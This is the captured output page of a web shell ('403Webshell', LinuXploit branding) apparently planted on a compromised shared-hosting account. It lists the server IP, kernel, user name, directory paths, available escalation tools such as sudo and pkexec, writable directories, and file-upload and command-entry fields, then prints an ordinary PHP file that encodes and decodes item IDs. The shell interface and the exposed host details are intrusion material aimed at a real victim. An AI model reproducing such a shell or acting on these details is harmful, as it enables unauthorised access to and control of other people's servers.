403Webshell
Server IP : 104.21.17.213  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com3/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com3/lib/encode.php
<?php
function encode_itemID($ID, $CompanyID = null) {
	$md5 = md5($CompanyID + $ID);
	$sum = ord($md5[0]) + ord($md5[5]) * ord($md5[15]) + ord($md5[25]);
	$strSum = (string) $sum;
	if (strlen($strSum) > 3) {
		$strSum = substr($strSum, 0, 3);
	} else {
		$strSum = str_pad($strSum, 3, '0', STR_PAD_BOTH);
	}
	$strCompany = (string) $CompanyID;
	if (strlen($strCompany) > 4) {
		$strCompany = substr($strCompany, 0, 4);
	} else {
		$strCompany = str_pad($strCompany, 4, '0', STR_PAD_BOTH);
	}
	return $strCompany . $ID . $strSum;
}


function decode_itemID($EncodedID) {
		return substr($EncodedID, 4, -3);
}

Youez - 2016 - github.com/yon3zu
LinuXploit